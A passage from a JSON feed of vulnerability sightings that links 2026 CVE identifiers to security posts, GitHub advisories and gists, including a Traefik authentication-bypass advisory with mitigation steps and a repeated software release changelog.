"df1849fd-27c3-46e6-808d-6e859c46eb51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54902", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu3sylg62b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54902 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/32BD5274-ECC7-4C9A-A1C3-2B62F83F0DC4", "creation_timestamp": "2026-07-02T01:13:21.471448Z"}, {"uuid": "18ff1ec3-cc86-4fde-adf5-6e2940000c25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54502", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu4gwuxd2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54502 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/CCDD21DF-5CE0-412B-8FC2-75DAF8535C74", "creation_timestamp": "2026-07-02T01:13:43.061140Z"}, {"uuid": "834675ea-5844-4285-a5b4-6710ecfedfff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54897", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu532hnr2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54897 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/DA33E711-DE58-4A0C-A8C3-04AEB99330F4", "creation_timestamp": "2026-07-02T01:14:03.985351Z"}, {"uuid": "d4b21396-29b8-4254-9cae-8bf2bc53e9ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54901", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmu7rxux22y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54901 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/03C23CB3-C4F8-4F14-8C45-6C4ACD40B9F5", "creation_timestamp": "2026-07-02T01:15:34.999227Z"}, {"uuid": "ba070065-6663-4a3c-ba6b-baab9a5a499e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54896", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmuazhgcu2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54896 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/38FEF491-79B3-4D51-B742-8246027B8A7D", "creation_timestamp": "2026-07-02T01:16:16.991953Z"}, {"uuid": "81b235d8-7f2c-4596-8c4a-1e43a1498887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmubqz4cb2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54900 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/357420E3-3583-41BB-9A15-C99FFDB94B1E", "creation_timestamp": "2026-07-02T01:16:41.094465Z"}, {"uuid": "7c3b30cc-157d-450c-80d9-fe6607603b2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54903", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmucez2mb2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54903 \u0432 Oj (Optimized JSON): \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/EE60C594-09B2-45A4-A156-C6C154507F27", "creation_timestamp": "2026-07-02T01:17:01.995805Z"}, {"uuid": "cf6c3379-3398-4daa-b7b8-c23a417f60e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54588", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpmwyotshg2c", "content": "A critical Poweradmin host header injection flaw (CVE-2026-54588) lets attackers hijack DNS admin accounts. Update to 4.2.4 or 4.3.3 now.\n\n#Poweradmin #PowerDNS #CVE202654588 #AccountTakeover #CyberSecurity #DNS", "creation_timestamp": "2026-07-02T02:05:18.350154Z"}, {"uuid": "ae254792-02cf-4c3d-98ff-3dcfaf87120e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54399", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7qpaahw2r", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54399: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 HTTP/1.1 \u043f\u0430\u0440\u0441\u0435\u0440\u0435 \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439\n\n\n\nhttps://kripta.biz/posts/60F73004-A079-4C01-8E9D-76E33144C704", "creation_timestamp": "2026-07-02T04:41:53.390015Z"}, {"uuid": "218cab58-054f-41e3-83ce-049f59593585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54489", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msgg6rq76m2u", "content": "CVE-2026-54489\nDell Virtual Storage Integrator for VMware vSphere Client, versions prior to 10.11.1.0, contain a security flaw that allows an attacker to steal sensitive information and impersonate authorized users, including\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-06T16:04:05.307715Z"}, {"uuid": "134ce8a7-0bad-4c77-9ed3-1daf5302c0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54061", "type": "published-proof-of-concept", "source": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-rrwh-6jrq-wp5v", "content": "", "creation_timestamp": "2026-08-20T18:35:03.977778Z"}, {"uuid": "454751cf-da8d-4356-9f4d-d567c18d3d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54763", "type": "seen", "source": "https://gist.github.com/alon710/b0c30693be99e5683b1b7fa34bf1c9d1", "content": "# CVE-2026-54763: CVE-2026-54763: Authentication Bypass and Identity Spoofing in Traefik Middlewares via Header Normalization Discrepancies\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-08-06\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54763\n\n## Summary\nA critical authentication bypass and context spoofing vulnerability exists in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares prior to versions 2.11.51, 3.6.22, and 3.7.6. The flaw arises because Traefik's header cleanup mechanisms rely on Go's standard library header canonicalization, which does not modify or delete headers containing underscores. Consequently, unauthenticated remote attackers can inject custom underscore-variant headers (e.g., X_Auth_User) that bypass Traefik's stripping filters and reach backend application servers. When downstream backends normalize both hyphens and underscores into the same environment variables, the attacker's spoofed identity value is processed as trusted authorization data.\n\n## TL;DR\nTraefik's authentication middlewares fail to strip client-supplied headers containing underscores, permitting remote unauthenticated attackers to bypass identity controls and spoof authenticated metadata on backend systems that normalize hyphens and underscores identically.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-178, CWE-290, CWE-345\n- **Attack Vector**: Network (Unauthenticated)\n- **CVSS v3.1 Score**: 10.0 (Critical)\n- **EPSS Score**: 0.002 (Percentile: 9.96%)\n- **Exploit Status**: Proof-of-Concept Available\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Traefik Proxy (BasicAuth, DigestAuth, ForwardAuth middlewares)\n- Python WSGI/ASGI application servers (Gunicorn, uWSGI)\n- PHP-FPM and CGI-based application containers\n- Ruby Rack and thin-server deployment environments\n- **Traefik**: < 2.11.51 (Fixed in: `2.11.51`)\n- **Traefik**: >= 3.0.0-beta1, < 3.6.22 (Fixed in: `3.6.22`)\n- **Traefik**: >= 3.7.0-ea.1, < 3.7.6 (Fixed in: `3.7.6`)\n\n## Mitigation\n\n- Upgrade Traefik instances to 2.11.51, 3.6.22, or 3.7.6.\n- Explicitly configure the entrypoint `underscoreHeadersStrategy` to 'delete' or 'reject' in the configuration.\n- Deploy Web Application Firewall (WAF) rules to inspect and block client-supplied HTTP headers containing underscores.\n- Implement cryptographically signed identity assertions (such as JWTs) between Traefik and internal backend servers.\n\n**Remediation Steps:**\n1. Identify all entrypoint definitions within the Traefik dynamic/static configuration files (toml, yaml, or CLI flags).\n2. Add the configuration parameter `underscoreHeadersStrategy: delete` to all active HTTP entrypoints.\n3. Restart the Traefik service and verify that requests carrying underscore-variant headers are sanitized before reaching backend systems.\n4. Audit downstream backend frameworks to ensure they do not accept unauthenticated environment variables for identity evaluation.\n\n## References\n\n- [NVD - CVE-2026-54763 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-54763)\n- [GitHub Security Advisory GHSA-x677-9fxg-v5c5](https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54763) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-06T17:31:27.871972Z"}, {"uuid": "eb21ae52-59ef-4f6d-9392-8d39ade2c660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54428", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnj74yvvv2k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54428: \u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0432 HTTP/2 HPACK \u0434\u0435\u043a\u043e\u0434\u0435\u0440\u0435\n\n\n\nhttps://kripta.biz/posts/34FCBD41-6A6B-4E7F-A45D-1789658F6B2E", "creation_timestamp": "2026-07-02T07:31:01.325997Z"}, {"uuid": "c456ca4a-3e5e-4ae8-9016-ba24460bf2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54399", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnk37xitn2q", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54399: \u041d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0432 HTTP/1.1 \u043f\u0430\u0440\u0441\u0435\u0440\u0435\n\n\n\nhttps://kripta.biz/posts/E6DCD7CA-ABB3-41A2-873F-E362DE2F35F0", "creation_timestamp": "2026-07-02T07:46:44.035221Z"}, {"uuid": "87384ff9-c6a9-4fc8-818b-ef8667884cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54984", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2009", "content": "", "creation_timestamp": "2026-08-13T10:16:25.016062Z"}, {"uuid": "469d73f8-9538-4799-85f4-e6be316ebfb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54763", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5", "content": "", "creation_timestamp": "2026-08-06T18:35:03.977637Z"}, {"uuid": "dcb61498-3624-4993-a468-1c70dc970af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54765", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-6p8f-p8j2-rqmv", "content": "", "creation_timestamp": "2026-08-06T18:35:11.158677Z"}, {"uuid": "ff2ddc13-3a90-4e6f-bde4-47696b5df869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2009", "content": "", "creation_timestamp": "2026-08-13T10:16:16.691049Z"}, {"uuid": "6257bb87-d6cb-4b11-8207-9609a1f2c7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54764", "type": "published-proof-of-concept", "source": "https://github.com/traefik/traefik/security/advisories/GHSA-3q9r-p662-5j8m", "content": "", "creation_timestamp": "2026-08-06T18:35:15.820479Z"}, {"uuid": "81c3e4b0-cd7c-4d13-a983-ce58e974b5b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54123", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2009", "content": "", "creation_timestamp": "2026-08-13T10:16:18.954992Z"}, {"uuid": "c6c0af01-a30b-4855-a821-2ec72f6dbd23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msrjqqnp7w2j", "content": "\ud83d\udccc CVE-2026-5430 - The JWT authentication mechanism accepts tokens signed with algorithms other than those explicitly configured or supported. This allows an attacker to... https://www.cyberhub.blog/cves/CVE-2026-5430", "creation_timestamp": "2026-08-11T02:07:06.921513Z"}, {"uuid": "f9eff577-d353-470b-99db-ce36a1553991", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2009", "content": "", "creation_timestamp": "2026-08-13T10:16:22.475946Z"}, {"uuid": "94ae2405-a0b5-438c-a726-8b029f4d3041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/5034ea73a772721f570eac9600f8146e", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **\ud83e\udd75 Retour de test**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd75 Retour de test**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\ud83e\udd73Testing**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n        - *Add migrations to create missing return number sequences for each org\u2026* [\\#7614](https://github.com/Wishibam/Marketplace-api/pull/7614)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n    - *Add migrations to generate shipment\\_return number sequences* [\\#7615](https://github.com/Wishibam/Marketplace-api/pull/7615)\n    - *:bug: fix: normalize stripe alerting errors to avoid string offset TypeError* [\\#7616](https://github.com/Wishibam/Marketplace-api/pull/7616)\n    - *chore(deps): bump guzzlehttp/guzzle from 7.12.3 to 7.13.1 in /api* [\\#7637](https://github.com/Wishibam/Marketplace-api/pull/7637)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)\n    - *:bug: fix: send Sellsy invoice note from organization config* [\\#7610](https://github.com/Wishibam/Marketplace-api/pull/7610)\n    - *:wrench: chore: sync master security hotfixes (CVE) into develop* [\\#7612](https://github.com/Wishibam/Marketplace-api/pull/7612)\n    - *:bug: fix: apply organization VAT tax\\_id on Sellsy invoice lines* [\\#7627](https://github.com/Wishibam/Marketplace-api/pull/7627)\n    - *:bug: fix: set Sellsy invoice date to the billed period end* [\\#7639](https://github.com/Wishibam/Marketplace-api/pull/7639)", "creation_timestamp": "2026-07-02T10:12:17.069657Z"}, {"uuid": "cfa6b689-1670-480f-a3a8-d5598ab44378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54284", "type": "published-proof-of-concept", "source": "Telegram/GwuC3cy-O_zU2KFCuHY_MrTkUTBOKWE1Dd5EfEUwy3SR_6M", "content": "", "creation_timestamp": "2026-08-18T01:00:04.736512Z"}, {"uuid": "e7c8f82d-1e0b-4b9e-82a1-b74844771a8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54164", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpny46qtik2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54164 \u0432 API Platform Core: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0C6E3765-61BE-44B4-AAFE-CE156048FA15", "creation_timestamp": "2026-07-02T11:57:48.614114Z"}, {"uuid": "4d2d4209-babf-46a4-9951-2cab8984d3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54908", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpny4wfpty2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54908 \u0432 Pion DTLS: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/58C017C8-23D7-42A5-9764-113B85E2C610", "creation_timestamp": "2026-07-02T11:58:14.035224Z"}, {"uuid": "13f79dd0-f97f-463d-90cf-057dc88681a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54720", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpo33b5zs52o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54720 \u0432 Silverstripe Framework: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/A94EF7B5-FD74-4DF4-B78E-2838C91AD492", "creation_timestamp": "2026-07-02T12:50:58.790229Z"}, {"uuid": "c5aa3725-f42c-4d13-bd4a-9806d15f2563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54074", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpo32jomd72u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54074 \u0432 Tina CMS: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/49213514-3ACA-497D-9E66-93CC05482268", "creation_timestamp": "2026-07-02T12:50:34.450983Z"}, {"uuid": "cc8ffc08-e5dc-44b6-acd5-9e712a72b5be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54756", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpo36mjhwx2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54756 \u0432 Jodit Editor: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/567BFA56-1335-48D6-AD58-FAC29B2D855E", "creation_timestamp": "2026-07-02T12:52:51.509958Z"}, {"uuid": "044e5b4e-c87a-45bb-9b5c-736d0348013d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54786", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpo37ghk3y22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54786 \u0432 Wasmtime: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WebAssembly\n\n\n\nhttps://kripta.biz/posts/42A2F6AA-355C-43C9-BC5A-A553D65D5219", "creation_timestamp": "2026-07-02T12:53:18.671769Z"}, {"uuid": "b1a0fcd4-12fa-458f-a7ed-a616918db100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/53380720a9a5b4c843cae16f7ca2b475", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail 